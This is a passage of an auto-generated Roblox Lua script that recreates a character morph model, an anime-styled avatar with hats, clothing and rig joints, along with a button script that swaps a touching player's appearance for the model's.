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- -- Thanks for using Mod2S by NopeUsername
- local functions = {}
- function sandbox(script, func)
- local oldEnv = getfenv(func)
- local newEnv = setmetatable({}, {
- __index = function(self,k)
- if k == "script" then
- return script
- else
- return oldEnv[k]
- end
- end,
- })
- return setfenv(func, newEnv)
- end
- local mas = Instance.new("Model", game:GetService("Lighting"))
- -- DECLARING VARIABLES
- local Model = Instance.new("Model")
- local Head = Instance.new("Part")
- local Mesh = Instance.new("SpecialMesh")
- local ZeroTwo = Instance.new("Decal")
- local HeadWeld = Instance.new("Weld")
- local HeadWeld_1 = Instance.new("Weld")
- local LeftArm = Instance.new("Part")
- local LeftLeg = Instance.new("Part")
- local RightArm = Instance.new("Part")
- local RightLeg = Instance.new("Part")
- local Torso = Instance.new("Part")
- local Morph = Instance.new("Humanoid")
- local MorphButton = Instance.new("Part")
- local Mesh_1 = Instance.new("CylinderMesh")
- local SmartMorphButton = Instance.new("Script")
- local InfoRemover = Instance.new("Script")
- local BodyColors = Instance.new("BodyColors")
- local Pants = Instance.new("Pants")
- local Shirt = Instance.new("Shirt")
- local MischiefHorns = Instance.new("Hat")
- local Handle = Instance.new("Part")
- local Mesh_2 = Instance.new("SpecialMesh")
- local HatAttachment = Instance.new("Attachment")
- local OriginalSize = Instance.new("Vector3Value")
- local LongHairHeadBand = Instance.new("Hat")
- local Handle_1 = Instance.new("Part")
- local Mesh_3 = Instance.new("SpecialMesh")
- local ThumbnailCamera = Instance.new("Camera")
- local AcePilot = Instance.new("Model")
- local HumanoidRootPart = Instance.new("Part")
- local RootRigAttachment = Instance.new("Attachment")
- local LeftHand = Instance.new("MeshPart")
- local LeftWristRigAttachment = Instance.new("Attachment")
- local LeftGripAttachment = Instance.new("Attachment")
- local LeftWrist = Instance.new("Motor6D")
- local LeftLowerArm = Instance.new("MeshPart")
- local LeftElbowRigAttachment = Instance.new("Attachment")
- local LeftWristRigAttachment_1 = Instance.new("Attachment")
- local LeftElbow = Instance.new("Motor6D")
- local LeftUpperArm = Instance.new("MeshPart")
- local LeftShoulderRigAttachment = Instance.new("Attachment")
- local LeftElbowRigAttachment_1 = Instance.new("Attachment")
- local LeftShoulderAttachment = Instance.new("Attachment")
- local LeftShoulder = Instance.new("Motor6D")
- local RightHand = Instance.new("MeshPart")
- local RightWristRigAttachment = Instance.new("Attachment")
- local RightGripAttachment = Instance.new("Attachment")
- local RightWrist = Instance.new("Motor6D")
- local RightLowerArm = Instance.new("MeshPart")
- local RightElbowRigAttachment = Instance.new("Attachment")
- local RightWristRigAttachment_1 = Instance.new("Attachment")
- local RightElbow = Instance.new("Motor6D")
- local RightUpperArm = Instance.new("MeshPart")
- local RightShoulderRigAttachment = Instance.new("Attachment")
- local RightElbowRigAttachment_1 = Instance.new("Attachment")
- local RightShoulderAttachment = Instance.new("Attachment")
- local RightShoulder = Instance.new("Motor6D")
- local UpperTorso = Instance.new("MeshPart")
- local WaistRigAttachment = Instance.new("Attachment")
- local NeckRigAttachment = Instance.new("Attachment")
- local LeftShoulderRigAttachment_1 = Instance.new("Attachment")
- local RightShoulderRigAttachment_1 = Instance.new("Attachment")
- local BodyFrontAttachment = Instance.new("Attachment")
- local BodyBackAttachment = Instance.new("Attachment")
- local LeftCollarAttachment = Instance.new("Attachment")
- local RightCollarAttachment = Instance.new("Attachment")
- local NeckAttachment = Instance.new("Attachment")
- local Waist = Instance.new("Motor6D")
- local LeftFoot = Instance.new("MeshPart")
- local LeftAnkleRigAttachment = Instance.new("Attachment")
- local LeftAnkle = Instance.new("Motor6D")
- local LeftLowerLeg = Instance.new("MeshPart")
- local LeftKneeRigAttachment = Instance.new("Attachment")
- local LeftAnkleRigAttachment_1 = Instance.new("Attachment")
- local LeftKnee = Instance.new("Motor6D")
- local LeftUpperLeg = Instance.new("MeshPart")
- local LeftHipRigAttachment = Instance.new("Attachment")
- local LeftKneeRigAttachment_1 = Instance.new("Attachment")
- local LeftHip = Instance.new("Motor6D")
- local RightFoot = Instance.new("MeshPart")
- local RightAnkleRigAttachment = Instance.new("Attachment")
- local RightAnkle = Instance.new("Motor6D")
- local RightLowerLeg = Instance.new("MeshPart")
- local RightKneeRigAttachment = Instance.new("Attachment")
- local RightAnkleRigAttachment_1 = Instance.new("Attachment")
- local RightKnee = Instance.new("Motor6D")
- local RightUpperLeg = Instance.new("MeshPart")
- local RightHipRigAttachment = Instance.new("Attachment")
- local RightKneeRigAttachment_1 = Instance.new("Attachment")
- local RightHip = Instance.new("Motor6D")
- local LowerTorso = Instance.new("MeshPart")
- local RootRigAttachment_1 = Instance.new("Attachment")
- local WaistRigAttachment_1 = Instance.new("Attachment")
- local LeftHipRigAttachment_1 = Instance.new("Attachment")
- local RightHipRigAttachment_1 = Instance.new("Attachment")
- local WaistCenterAttachment = Instance.new("Attachment")
- local WaistFrontAttachment = Instance.new("Attachment")
- local WaistBackAttachment = Instance.new("Attachment")
- local Root = Instance.new("Motor6D")
- local Humanoid = Instance.new("Humanoid")
- local Animator = Instance.new("Animator")
- local Head_1 = Instance.new("Part")
- local Mesh_4 = Instance.new("SpecialMesh")
- local FaceCenterAttachment = Instance.new("Attachment")
- local FaceFrontAttachment = Instance.new("Attachment")
- local HairAttachment = Instance.new("Attachment")
- local HatAttachment_1 = Instance.new("Attachment")
- local NeckRigAttachment_1 = Instance.new("Attachment")
- local Neck = Instance.new("Motor6D")
- local Face = Instance.new("Decal")
- local HeadWeld_2 = Instance.new("Weld")
- local Pants_1 = Instance.new("Pants")
- local Shirt_1 = Instance.new("Shirt")
- local MischiefHorns_1 = Instance.new("Accessory")
- local Handle_2 = Instance.new("Part")
- local Mesh_5 = Instance.new("SpecialMesh")
- local HatAttachment_2 = Instance.new("Attachment")
- local OriginalSize_1 = Instance.new("Vector3Value")
- local AccessoryWeld = Instance.new("Weld")
- local LongHairHeadBand_1 = Instance.new("Hat")
- local Handle_3 = Instance.new("Part")
- local Mesh_6 = Instance.new("SpecialMesh")
- local ThumbnailCamera_1 = Instance.new("Camera")
- local Script = Instance.new("Script")
- local AcePilot_1 = Instance.new("Model")
- local Head_2 = Instance.new("Part")
- local Mesh_7 = Instance.new("SpecialMesh")
- local HatAttachment_3 = Instance.new("Attachment")
- local HairAttachment_1 = Instance.new("Attachment")
- local FaceFrontAttachment_1 = Instance.new("Attachment")
- local FaceCenterAttachment_1 = Instance.new("Attachment")
- local HeadWeld_3 = Instance.new("Weld")
- local ZeroTwo_1 = Instance.new("Decal")
- local LeftArm_1 = Instance.new("Part")
- local LeftShoulderAttachment_1 = Instance.new("Attachment")
- local LeftLeg_1 = Instance.new("Part")
- local RightArm_1 = Instance.new("Part")
- local RightShoulderAttachment_1 = Instance.new("Attachment")
- local RightLeg_1 = Instance.new("Part")
- local Torso_1 = Instance.new("Part")
- local roblox = Instance.new("Decal")
- local RightShoulder_1 = Instance.new("Motor6D")
- local RightHip_1 = Instance.new("Motor6D")
- local LeftShoulder_1 = Instance.new("Motor6D")
- local LeftHip_1 = Instance.new("Motor6D")
- local WaistFrontAttachment_1 = Instance.new("Attachment")
- local WaistCenterAttachment_1 = Instance.new("Attachment")
- local WaistBackAttachment_1 = Instance.new("Attachment")
- local RightCollarAttachment_1 = Instance.new("Attachment")
- local NeckAttachment_1 = Instance.new("Attachment")
- local LeftCollarAttachment_1 = Instance.new("Attachment")
- local BodyFrontAttachment_1 = Instance.new("Attachment")
- local BodyBackAttachment_1 = Instance.new("Attachment")
- local Neck_1 = Instance.new("Motor6D")
- local Humanoid_1 = Instance.new("Humanoid")
- local Shirt_2 = Instance.new("Shirt")
- local Pants_2 = Instance.new("Pants")
- local LongHairHeadBand_2 = Instance.new("Hat")
- local Handle_4 = Instance.new("Part")
- local Mesh_8 = Instance.new("SpecialMesh")
- local ThumbnailCamera_2 = Instance.new("Camera")
- local MischiefHorns_2 = Instance.new("Hat")
- local Handle_5 = Instance.new("Part")
- local Mesh_9 = Instance.new("SpecialMesh")
- local HatAttachment_4 = Instance.new("Attachment")
- local OriginalSize_2 = Instance.new("Vector3Value")
- local AccessoryWeld_1 = Instance.new("Weld")
- local Part = Instance.new("Part")
- local Neck_2 = Instance.new("Snap")
- local HatRemover = Instance.new("Model")
- local Morph_1 = Instance.new("Humanoid")
- local zacksisk = Instance.new("Weld")
- local zacksisk_1 = Instance.new("Script")
- local Head_3 = Instance.new("Part")
- local Debounce = Instance.new("Script")
- local HatRemover_1 = Instance.new("Script")
- local Mesh_10 = Instance.new("CylinderMesh")
- local Script_1 = Instance.new("Script")
- local FaceGiver = Instance.new("Part")
- local Script_2 = Instance.new("Script")
- local ZeroTwo_2 = Instance.new("Decal")
- local Painter = Instance.new("Part")
- local Script_3 = Instance.new("Script")
- -- SETTING PROPERTIES
- Model.Name = ""
- Model.Parent = mas
- Head.CFrame = CFrame.new(82.986,4.954,138.041,1,0,0,0,1,0,0,0,1)
- Head.Color = Color3.new(0.996,0.953,0.733)
- Head.Size = Vector3.new(2,1,1)
- Head.TopSurface = Enum.SurfaceType.Smooth
- Head.Name = "Head"
- Head.Parent = Model
- Mesh.Scale = Vector3.new(1.25,1.25,1.25)
- Mesh.Parent = Head
- ZeroTwo.Texture = "http://www.roblox.com/asset/?id=4510571168"
- ZeroTwo.Name = "Zero Two"
- ZeroTwo.Parent = Head
- HeadWeld.C0 = CFrame.new(0,0.5,0,1,0,0,0,1,0,0,0,1)
- HeadWeld.C1 = CFrame.new(0,0.9,0,1,0,0,0,0.995,0.1,0,-0.1,0.995)
- HeadWeld.Part0 = Head
- HeadWeld.Part1 = Handle
- HeadWeld.Name = "HeadWeld"
- HeadWeld.Parent = Head
- HeadWeld_1.C0 = CFrame.new(0,0.5,0,1,0,0,0,1,0,0,0,1)
- HeadWeld_1.C1 = CFrame.new(0,0.9,0,1,0,0,0,0.995,0.1,0,-0.1,0.995)
- HeadWeld_1.Part0 = Head
- HeadWeld_1.Part1 = Handle_1
- HeadWeld_1.Name = "HeadWeld"
- HeadWeld_1.Parent = Head
- LeftArm.CFrame = CFrame.new(81.486,3.454,138.041,1,0,0,0,1,0,0,0,1)
- LeftArm.Color = Color3.new(0.769,0.157,0.11)
- LeftArm.Size = Vector3.new(1,2,1)
- LeftArm.Name = "Left Arm"
- LeftArm.Parent = Model
- LeftLeg.BottomSurface = Enum.SurfaceType.Weld
- LeftLeg.CFrame = CFrame.new(82.486,1.454,138.041,1,0,0,0,1,0,0,0,1)
- LeftLeg.Color = Color3.new(0.769,0.157,0.11)
- LeftLeg.Size = Vector3.new(1,2,1)
- LeftLeg.Name = "Left Leg"
- LeftLeg.Parent = Model
- RightArm.CFrame = CFrame.new(84.486,3.454,138.041,1,0,0,0,1,0,0,0,1)
- RightArm.Color = Color3.new(0.769,0.157,0.11)
- RightArm.Size = Vector3.new(1,2,1)
- RightArm.Name = "Right Arm"
- RightArm.Parent = Model
- RightLeg.BottomSurface = Enum.SurfaceType.Weld
- RightLeg.CFrame = CFrame.new(83.486,1.454,138.041,1,0,0,0,1,0,0,0,1)
- RightLeg.Color = Color3.new(0.769,0.157,0.11)
- RightLeg.Size = Vector3.new(1,2,1)
- RightLeg.Name = "Right Leg"
- RightLeg.Parent = Model
- Torso.CFrame = CFrame.new(82.986,3.454,138.041,1,0,0,0,1,0,0,0,1)
- Torso.Color = Color3.new(0.769,0.157,0.11)
- Torso.LeftParamA = 0
- Torso.LeftParamB = 0
- Torso.LeftSurface = Enum.SurfaceType.Weld
- Torso.RightParamA = 0
- Torso.RightParamB = 0
- Torso.RightSurface = Enum.SurfaceType.Weld
- Torso.Size = Vector3.new(2,2,1)
- Torso.Name = "Torso"
- Torso.Parent = Model
- Morph.Health = 0
- Morph.MaxHealth = 0
- Morph.NameOcclusion = Enum.NameOcclusion.NoOcclusion
- Morph.WalkSpeed = 0
- Morph.Name = "Morph"
- Morph.Parent = Model
- MorphButton.Anchored = true
- MorphButton.BottomSurface = Enum.SurfaceType.Weld
- MorphButton.CFrame = CFrame.new(82.986,0.554,133.761,1,0,0,0,1,0,0,0,1)
- MorphButton.Color = Color3.new(0.769,0.157,0.11)
- MorphButton.LeftParamA = 0
- MorphButton.LeftParamB = 0
- MorphButton.Reflectance = 0.2
- MorphButton.RightParamA = 0
- MorphButton.RightParamB = 0
- MorphButton.Size = Vector3.new(4,0.2,2.44)
- MorphButton.TopSurface = Enum.SurfaceType.Smooth
- MorphButton.Name = "MorphButton"
- MorphButton.Parent = Model
- Mesh_1.Parent = MorphButton
- table.insert(functions,sandbox(SmartMorphButton,function()
- -- Smart Morph script by zakblak20
- while (script:findFirstChild("InfoRemover") == nil) do wait(0.1) end
- local g = Instance.new("ScreenGui")
- g.Name = "InfoBox"
- local t = Instance.new("TextLabel")
- t.Name = "Info"
- t.Text = "Starter Morph by zakblak20"
- t.BackgroundTransparency = 0
- t.BackgroundColor3 = Color3.new(0, 0, 0)
- t.BorderSizePixel = 0
- t.TextColor3 = Color3.new(1, 1, 1)
- t.Position = UDim2.new(0, 0, 0.95, 0)
- t.Size = UDim2.new(1, 0, 0.05, 0)
- t.Parent = g
- local CanMorph = nil
- local Lock = nil
- local s = script.InfoRemover:Clone()
- s.Parent = g
- s.Disabled = false
- script.Parent.BrickColor = BrickColor.new("Bright yellow")
- function onTouch(hit)
- if (Lock == nil) then
- Lock = true
- script.Parent.BrickColor = BrickColor.new("Medium stone grey")
- CanMorph = nil
- BodyParts = hit.Parent:GetChildren()
- for i,b in pairs(BodyParts) do
- if (b.className == "Humanoid") then
- CanMorph = true
- end
- wait(0.1)
- end
- if (CanMorph == nil) then
- script.Parent.BrickColor = BrickColor.new("Bright yellow")
- Lock = nil
- return
- end
- script.Parent.BrickColor = BrickColor.new("Black")
- g.Parent = game.Players:findFirstChild(hit.Parent.Name).PlayerGui
- BodyParts = hit.Parent:GetChildren()
- for i,b in pairs(BodyParts) do
- if (b.className == "Hat") or (b.className == "CharacterMesh") or (b.className == "Shirt") or (b.className == "Pants") or (b.className == "ShirtGraphic") then
- b:Remove()
- end
- if (b.className == "Part") then
- if (b.Name == "Torso") then
- if (b:findFirstChild("roblox") ~= nil) then
- b.roblox:Remove()
- elseif (b:findFirstChild("Decal") ~= nil) then
- b.Decal:Remove()
- end
- end
- if (b.Name == "Head") then
- if (b:findFirstChild("Mesh") ~= nil) then
- b.Mesh:Remove()
- end
- end
- end
- wait(0.1)
- end
- BodyParts = script.Parent.Parent:GetChildren()
- for i,b in pairs(BodyParts) do
- if (b.className == "CharacterMesh") or (b.className == "Shirt") or (b.className == "Pants") or (b.className == "ShirtGraphic") then
- b:Clone().Parent = hit.Parent
- end
- if (b.className == "BodyColors") and (hit.Parent:findFirstChild("Body Colors") ~= nil) then
- hit.Parent:findFirstChild("Body Colors").HeadColor= b.HeadColor
- hit.Parent:findFirstChild("Body Colors").LeftArmColor= b.LeftArmColor
- hit.Parent:findFirstChild("Body Colors").LeftLegColor= b.LeftLegColor
- hit.Parent:findFirstChild("Body Colors").RightArmColor= b.RightArmColor
- hit.Parent:findFirstChild("Body Colors").RightLegColor= b.RightLegColor
- hit.Parent:findFirstChild("Body Colors").TorsoColor= b.TorsoColor
- end
- if (b.className == "Part") then
- if (b.Name == "Torso") then
- if (b:findFirstChild("roblox") ~= nil) then
- b.roblox:Clone().Parent = hit.Parent.Torso
- elseif (script.Parent.Parent.Torso:findFirstChild("Decal") ~= nil) then
- b.Decal:Clone().Parent = hit.Parent.Torso
- end
- end
- if (b.Name == "Head") then
- if (b:findFirstChild("face") ~= nil) then
- hit.Parent.Head.face.Texture = b.face.Texture
- elseif (script.Parent.Parent.Head:findFirstChild("Decal") ~= nil) then
- hit.Parent.Head.face.Texture = b.Decal.Texture
- end
- if (b:findFirstChild("Mesh") ~= nil) then
- b.Mesh:Clone().Parent = hit.Parent.Head
- end
- end
- end
- if (b.className == "Hat") then
- local h = Instance.new("Hat")
- h.Name = b.Name
- h.AttachmentPos = b.AttachmentPos
- b.Handle:Clone().Parent = h
- h.Parent = hit.Parent
- end
- wait(0.1)
- end
- g.Parent = nil
- script.Parent.BrickColor = BrickColor.new("Bright yellow")
- Lock = nil
- end
- end
- script.Parent.Touched:connect(onTouch)
- end))
- SmartMorphButton.Name = "SmartMorphButton"
- SmartMorphButton.Parent = MorphButton
- table.insert(functions,sandbox(InfoRemover,function()
- script.Parent:Remove(wait(10))
- end))
- InfoRemover.Disabled = true
- InfoRemover.Name = "InfoRemover"
- InfoRemover.Parent = SmartMorphButton
- BodyColors.HeadColor = BrickColor.new("Buttermilk")
- BodyColors.HeadColor3 = Color3.new(0.996,0.953,0.733)
- BodyColors.LeftArmColor = BrickColor.new("Bright red")
- BodyColors.LeftArmColor3 = Color3.new(0.769,0.157,0.11)
- BodyColors.LeftLegColor = BrickColor.new("Bright red")
- BodyColors.LeftLegColor3 = Color3.new(0.769,0.157,0.11)
- BodyColors.RightArmColor = BrickColor.new("Bright red")
- BodyColors.RightArmColor3 = Color3.new(0.769,0.157,0.11)
- BodyColors.RightLegColor = BrickColor.new("Bright red")
- BodyColors.RightLegColor3 = Color3.new(0.769,0.157,0.11)
- BodyColors.TorsoColor = BrickColor.new("Bright red")
- BodyColors.TorsoColor3 = Color3.new(0.769,0.157,0.11)
- BodyColors.Parent = Model
- Pants.PantsTemplate = "http://www.roblox.com/asset/?id=2890948617"
- Pants.Name = "Pants"
- Pants.Parent = Model
- Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=2890942434"
- Shirt.Name = "Shirt"
- Shirt.Parent = Model
- MischiefHorns.AttachmentForward = Vector3.new(0,-0.1,-0.995)
- MischiefHorns.AttachmentPoint = CFrame.new(0,0.9,0,1,0,0,0,0.995,0.1,0,-0.1,0.995)
- MischiefHorns.AttachmentPos = Vector3.new(0,0.9,0)
- MischiefHorns.AttachmentUp = Vector3.new(0,0.995,-0.1)
- MischiefHorns.Name = "Mischief Horns"
- MischiefHorns.Parent = Model
- Handle.BottomSurface = Enum.SurfaceType.Smooth
- Handle.CFrame = CFrame.new(82.986,4.559,137.951,1,0,0,0,0.995,-0.1,0,0.1,0.995)
- Handle.CanCollide = false
- Handle.Locked = true
- Handle.Size = Vector3.new(1,1,1)
- Handle.TopSurface = Enum.SurfaceType.Smooth
- Handle.Name = "Handle"
- Handle.Parent = MischiefHorns
- Mesh_2.MeshType = Enum.MeshType.FileMesh
- Mesh_2.MeshId = "http://www.roblox.com/asset/?id=15934744"
- Mesh_2.TextureId = "http://www.roblox.com/asset/?id=15934762"
- Mesh_2.Scale = Vector3.new(1.02,1.02,1.02)
- Mesh_2.Parent = Handle
- HatAttachment.Axis = Vector3.new(1,0,0)
- HatAttachment.CFrame = CFrame.new(0,-0.07,0,1,0,0,0,1,0,0,0,1)
- HatAttachment.Orientation = Vector3.new(0,0,0)
- HatAttachment.Position = Vector3.new(0,-0.07,0)
- HatAttachment.Rotation = Vector3.new(0,0,0)
- HatAttachment.SecondaryAxis = Vector3.new(0,1,0)
- HatAttachment.Name = "HatAttachment"
- HatAttachment.Parent = Handle
- OriginalSize.Value = Vector3.new(1,1,1)
- OriginalSize.Name = "OriginalSize"
- OriginalSize.Parent = Handle
- LongHairHeadBand.AttachmentForward = Vector3.new(0,-0.1,-0.995)
- LongHairHeadBand.AttachmentPoint = CFrame.new(0,0.9,0,1,0,0,0,0.995,0.1,0,-0.1,0.995)
- LongHairHeadBand.AttachmentPos = Vector3.new(0,0.9,0)
- LongHairHeadBand.AttachmentUp = Vector3.new(0,0.995,-0.1)
- LongHairHeadBand.Name = "LongHairHeadBand"
- LongHairHeadBand.Parent = Model
- Handle_1.BottomSurface = Enum.SurfaceType.Smooth
- Handle_1.CFrame = CFrame.new(82.986,4.559,137.951,1,0,0,0,0.995,-0.1,0,0.1,0.995)
- Handle_1.CanCollide = false
- Handle_1.Size = Vector3.new(1,2.4,2)
- Handle_1.TopSurface = Enum.SurfaceType.Smooth
- Handle_1.Name = "Handle"
- Handle_1.Parent = LongHairHeadBand
- Mesh_3.MeshType = Enum.MeshType.FileMesh
- Mesh_3.MeshId = "http://www.roblox.com/asset/?id=13070796"
- Mesh_3.TextureId = "http://www.roblox.com/asset/?id=292357315"
- Mesh_3.Parent = Handle_1
- ThumbnailCamera.CFrame = CFrame.new(35.462,1.652,-20.987,-0.771,0.04,-0.636,0,0.998,0.063,0.637,0.048,-0.769)
- ThumbnailCamera.Focus = CFrame.new(36.734,1.526,-19.448,1,0,0,0,1,0,0,0,1)
- ThumbnailCamera.Name = "ThumbnailCamera"
- ThumbnailCamera.Parent = LongHairHeadBand
- AcePilot.PrimaryPart = HumanoidRootPart
- AcePilot.Name = "Ace Pilot"
- AcePilot.Parent = Model
- HumanoidRootPart.Anchored = true
- HumanoidRootPart.CFrame = CFrame.new(83.002,2.75,138.068,1,0,0,0,1,0,0,0,1)
- HumanoidRootPart.Color = Color3.new(0.996,0.953,0.733)
- HumanoidRootPart.Size = Vector3.new(2,2,1)
- HumanoidRootPart.Transparency = 1
- HumanoidRootPart.Name = "HumanoidRootPart"
- HumanoidRootPart.Parent = AcePilot
- RootRigAttachment.Name = "RootRigAttachment"
- RootRigAttachment.Parent = HumanoidRootPart
- LeftHand.CFrame = CFrame.new(81.502,2.55,138.068,1,0,0,0,1,0,0,0,1)
- LeftHand.CanCollide = false
- LeftHand.Color = Color3.new(0.996,0.953,0.733)
- LeftHand.Size = Vector3.new(1,0.3,1)
- LeftHand.Name = "LeftHand"
- LeftHand.Parent = AcePilot
- LeftWristRigAttachment.CFrame = CFrame.new(0,0.15,0,1,0,0,0,1,0,0,0,1)
- LeftWristRigAttachment.Position = Vector3.new(0,0.15,0)
- LeftWristRigAttachment.Name = "LeftWristRigAttachment"
- LeftWristRigAttachment.Parent = LeftHand
- LeftGripAttachment.CFrame = CFrame.new(0,-0.15,0,1,0,0,0,0,1,0,-1,0)
- LeftGripAttachment.Orientation = Vector3.new(-90,0,0)
- LeftGripAttachment.Position = Vector3.new(0,-0.15,0)
- LeftGripAttachment.Rotation = Vector3.new(-90,0,0)
- LeftGripAttachment.SecondaryAxis = Vector3.new(0,0,-1)
- LeftGripAttachment.Name = "LeftGripAttachment"
- LeftGripAttachment.Parent = LeftHand
- LeftWrist.C0 = CFrame.new(0,-0.55,0,1,0,0,0,1,0,0,0,1)
- LeftWrist.C1 = CFrame.new(0,0.15,0,1,0,0,0,1,0,0,0,1)
- LeftWrist.Part0 = LeftLowerArm
- LeftWrist.Part1 = LeftHand
- LeftWrist.Name = "LeftWrist"
- LeftWrist.Parent = LeftHand
- LeftLowerArm.CFrame = CFrame.new(81.502,3.25,138.068,1,0,0,0,1,0,0,0,1)
- LeftLowerArm.CanCollide = false
- LeftLowerArm.Color = Color3.new(0.996,0.953,0.733)
- LeftLowerArm.Size = Vector3.new(1,1.2,1)
- LeftLowerArm.Name = "LeftLowerArm"
- LeftLowerArm.Parent = AcePilot
- LeftElbowRigAttachment.CFrame = CFrame.new(0,0.25,0,1,0,0,0,1,0,0,0,1)
- LeftElbowRigAttachment.Position = Vector3.new(0,0.25,0)
- LeftElbowRigAttachment.Name = "LeftElbowRigAttachment"
- LeftElbowRigAttachment.Parent = LeftLowerArm
- LeftWristRigAttachment_1.CFrame = CFrame.new(0,-0.55,0,1,0,0,0,1,0,0,0,1)
- LeftWristRigAttachment_1.Position = Vector3.new(0,-0.55,0)
- LeftWristRigAttachment_1.Name = "LeftWristRigAttachment"
- LeftWristRigAttachment_1.Parent = LeftLowerArm
- LeftElbow.C0 = CFrame.new(0,-0.2,0,1,0,0,0,1,0,0,0,1)
- LeftElbow.C1 = CFrame.new(0,0.25,0,1,0,0,0,1,0,0,0,1)
- LeftElbow.Part0 = LeftUpperArm
- LeftElbow.Part1 = LeftLowerArm
- LeftElbow.Name = "LeftElbow"
- LeftElbow.Parent = LeftLowerArm
- LeftUpperArm.CFrame = CFrame.new(81.502,3.7,138.068,1,0,0,0,1,0,0,0,1)
- LeftUpperArm.CanCollide = false
- LeftUpperArm.Color = Color3.new(0.769,0.157,0.11)
- LeftUpperArm.Size = Vector3.new(1,1.4,1)
- LeftUpperArm.Name = "LeftUpperArm"
- LeftUpperArm.Parent = AcePilot
- LeftShoulderRigAttachment.CFrame = CFrame.new(0.25,0.45,0,1,0,0,0,1,0,0,0,1)
- LeftShoulderRigAttachment.Position = Vector3.new(0.25,0.45,0)
- LeftShoulderRigAttachment.Name = "LeftShoulderRigAttachment"
- LeftShoulderRigAttachment.Parent = LeftUpperArm
- LeftElbowRigAttachment_1.CFrame = CFrame.new(0,-0.2,0,1,0,0,0,1,0,0,0,1)
- LeftElbowRigAttachment_1.Position = Vector3.new(0,-0.2,0)
- LeftElbowRigAttachment_1.Name = "LeftElbowRigAttachment"
- LeftElbowRigAttachment_1.Parent = LeftUpperArm
- LeftShoulderAttachment.CFrame = CFrame.new(0,0.7,0,1,0,0,0,1,0,0,0,1)
- LeftShoulderAttachment.Position = Vector3.new(0,0.7,0)
- LeftShoulderAttachment.Name = "LeftShoulderAttachment"
- LeftShoulderAttachment.Parent = LeftUpperArm
- LeftShoulder.C0 = CFrame.new(-1.25,0.55,0,1,0,0,0,1,0,0,0,1)
- LeftShoulder.C1 = CFrame.new(0.25,0.45,0,1,0,0,0,1,0,0,0,1)
- LeftShoulder.Part0 = UpperTorso
- LeftShoulder.Part1 = LeftUpperArm
- LeftShoulder.Name = "LeftShoulder"
- LeftShoulder.Parent = LeftUpperArm
- RightHand.CFrame = CFrame.new(84.502,2.55,138.068,1,0,0,0,1,0,0,0,1)
- RightHand.CanCollide = false
- RightHand.Color = Color3.new(0.996,0.953,0.733)
- RightHand.Size = Vector3.new(1,0.3,1)
- RightHand.Name = "RightHand"
- RightHand.Parent = AcePilot
- RightWristRigAttachment.CFrame = CFrame.new(0,0.15,0,1,0,0,0,1,0,0,0,1)
- RightWristRigAttachment.Position = Vector3.new(0,0.15,0)
- RightWristRigAttachment.Name = "RightWristRigAttachment"
- RightWristRigAttachment.Parent = RightHand
- RightGripAttachment.CFrame = CFrame.new(0,-0.15,0,1,0,0,0,0,1,0,-1,0)
- RightGripAttachment.Orientation = Vector3.new(-90,0,0)
- RightGripAttachment.Position = Vector3.new(0,-0.15,0)
- RightGripAttachment.Rotation = Vector3.new(-90,0,0)
- RightGripAttachment.SecondaryAxis = Vector3.new(0,0,-1)
- RightGripAttachment.Name = "RightGripAttachment"
- RightGripAttachment.Parent = RightHand
- RightWrist.C0 = CFrame.new(0,-0.55,0,1,0,0,0,1,0,0,0,1)
- RightWrist.C1 = CFrame.new(0,0.15,0,1,0,0,0,1,0,0,0,1)
- RightWrist.Part0 = RightLowerArm
- RightWrist.Part1 = RightHand
- RightWrist.Name = "RightWrist"
- RightWrist.Parent = RightHand
- RightLowerArm.CFrame = CFrame.new(84.502,3.25,138.068,1,0,0,0,1,0,0,0,1)
- RightLowerArm.CanCollide = false
- RightLowerArm.Color = Color3.new(0.996,0.953,0.733)
- RightLowerArm.Size = Vector3.new(1,1.2,1)
- RightLowerArm.Name = "RightLowerArm"
- RightLowerArm.Parent = AcePilot
- RightElbowRigAttachment.CFrame = CFrame.new(0,0.25,0,1,0,0,0,1,0,0,0,1)
- RightElbowRigAttachment.Position = Vector3.new(0,0.25,0)
- RightElbowRigAttachment.Name = "RightElbowRigAttachment"
- RightElbowRigAttachment.Parent = RightLowerArm
- RightWristRigAttachment_1.CFrame = CFrame.new(0,-0.55,0,1,0,0,0,1,0,0,0,1)
- RightWristRigAttachment_1.Position = Vector3.new(0,-0.55,0)
- RightWristRigAttachment_1.Name = "RightWristRigAttachment"
- RightWristRigAttachment_1.Parent = RightLowerArm
- RightElbow.C0 = CFrame.new(0,-0.2,0,1,0,0,0,1,0,0,0,1)
- RightElbow.C1 = CFrame.new(0,0.25,0,1,0,0,0,1,0,0,0,1)
- RightElbow.Part0 = RightUpperArm
- RightElbow.Part1 = RightLowerArm
- RightElbow.Name = "RightElbow"
- RightElbow.Parent = RightLowerArm
- RightUpperArm.CFrame = CFrame.new(84.502,3.7,138.068,1,0,0,0,1,0,0,0,1)
- RightUpperArm.CanCollide = false
- RightUpperArm.Color = Color3.new(0.769,0.157,0.11)
- RightUpperArm.Size = Vector3.new(1,1.4,1)
- RightUpperArm.Name = "RightUpperArm"
- RightUpperArm.Parent = AcePilot
- RightShoulderRigAttachment.CFrame = CFrame.new(-0.25,0.45,0,1,0,0,0,1,0,0,0,1)
- RightShoulderRigAttachment.Position = Vector3.new(-0.25,0.45,0)
- RightShoulderRigAttachment.Name = "RightShoulderRigAttachment"
- RightShoulderRigAttachment.Parent = RightUpperArm
- RightElbowRigAttachment_1.CFrame = CFrame.new(0,-0.2,0,1,0,0,0,1,0,0,0,1)
- RightElbowRigAttachment_1.Position = Vector3.new(0,-0.2,0)
- RightElbowRigAttachment_1.Name = "RightElbowRigAttachment"
- RightElbowRigAttachment_1.Parent = RightUpperArm
- RightShoulderAttachment.CFrame = CFrame.new(0,0.7,0,1,0,0,0,1,0,0,0,1)
- RightShoulderAttachment.Position = Vector3.new(0,0.7,0)
- RightShoulderAttachment.Name = "RightShoulderAttachment"
- RightShoulderAttachment.Parent = RightUpperArm
- RightShoulder.C0 = CFrame.new(1.25,0.55,0,1,0,0,0,1,0,0,0,1)
- RightShoulder.C1 = CFrame.new(-0.25,0.45,0,1,0,0,0,1,0,0,0,1)
- RightShoulder.Part0 = UpperTorso
- RightShoulder.Part1 = RightUpperArm
- RightShoulder.Name = "RightShoulder"
- RightShoulder.Parent = RightUpperArm
- UpperTorso.CFrame = CFrame.new(83.002,3.6,138.068,1,0,0,0,1,0,0,0,1)
- UpperTorso.Color = Color3.new(0.769,0.157,0.11)
- UpperTorso.Size = Vector3.new(2,1.6,1)
- UpperTorso.Name = "UpperTorso"
